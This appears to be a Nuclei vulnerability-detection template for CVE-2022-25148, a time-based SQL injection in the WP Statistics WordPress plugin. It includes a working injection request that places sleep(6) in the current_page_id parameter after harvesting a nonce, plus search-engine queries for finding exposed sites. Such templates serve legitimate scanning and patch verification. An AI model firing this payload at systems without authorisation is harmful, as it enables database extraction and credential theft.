id: CVE-2022-25148

info:
  name: WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_id parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the current_page_id parameter to extract the complete WordPress database including user credentials, visitor statistics, and site analytics data.
  remediation: Update wp-statistics plugin to version 13.1.6, or newer.
  reference:
    - https://wordpress.org/plugins/wp-statistics/
    - https://gist.github.com/Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25148
    - http://packetstormsecurity.com/files/174482/WordPress-WP-Statistics-13.1.5-SQL-Injection.html
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2679983%40wp-statistics&new=2679983%40wp-statistics&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25148
    cwe-id: CWE-89
    epss-score: 0.81363
    epss-percentile: 0.9959
    cpe: cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: veronalabs
    product: wp_statistics
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-statistics/
    fofa-query: body=/wp-content/plugins/wp-statistics/
    publicwww-query: /wp-content/plugins/wp-statistics/
    google-query: inurl:/wp-content/plugins/wp-statistics
  tags: time-based-sqli,cve,cve2022,packetstorm,sqli,wpscan,wordpress,wp-plugin,wp,wp-statistics,veronalabs,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 15s
        GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce={{nonce}}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=sleep(6)&search_query&page_uri=/&user_id=0 HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "application/json")
          - contains(body, 'Visitor Hit was recorded successfully')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '_wpnonce=([0-9a-zA-Z]+)'
        internal: true
# digest: 4a0a00473045022100c13148eecaf69bc2592de987d3ac33d078567d1d75969243841e813a35a6ac7d02201933fd59b6ffe7a7288f37b8ec523addc1fc0f8a4bae8f23deb96673e4c25abe:922c64590222798bb761d5b6d8e72950